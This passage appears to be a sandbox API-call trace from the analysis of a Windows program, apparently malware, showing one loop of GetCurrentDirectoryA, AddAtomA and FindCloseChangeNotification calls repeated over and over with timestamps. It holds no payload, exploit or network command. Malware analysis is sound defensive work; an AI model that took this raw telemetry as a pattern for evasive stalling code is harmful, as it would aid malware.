nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.479] AddAtomA (lpString=0x0) returned 0x0 [0054.479] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.480] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.480] AddAtomA (lpString=0x0) returned 0x0 [0054.480] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.481] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.481] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.481] AddAtomA (lpString=0x0) returned 0x0 [0054.482] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.482] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.482] AddAtomA (lpString=0x0) returned 0x0 [0054.482] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.482] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.482] AddAtomA (lpString=0x0) returned 0x0 [0054.482] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.482] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.482] AddAtomA (lpString=0x0) returned 0x0 [0054.482] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.482] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.482] AddAtomA (lpString=0x0) returned 0x0 [0054.482] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.482] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.482] AddAtomA (lpString=0x0) returned 0x0 [0054.482] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.482] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.482] AddAtomA (lpString=0x0) returned 0x0 [0054.482] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.482] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.482] AddAtomA (lpString=0x0) returned 0x0 [0054.482] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.482] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.482] AddAtomA (lpString=0x0) returned 0x0 [0054.482] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.482] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.483] AddAtomA (lpString=0x0) returned 0x0 [0054.483] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.483] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.484] AddAtomA (lpString=0x0) returned 0x0 [0054.484] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.484] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.485] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.485] AddAtomA (lpString=0x0) returned 0x0 [0054.485] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.486] AddAtomA (lpString=0x0) returned 0x0 [0054.486] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.486] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.487] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.487] AddAtomA (lpString=0x0) returned 0x0 [0054.487] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.488] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.488] AddAtomA (lpString=0x0) returned 0x0 [0054.488] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.489] AddAtomA (lpString=0x0) returned 0x0 [0054.489] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.489] 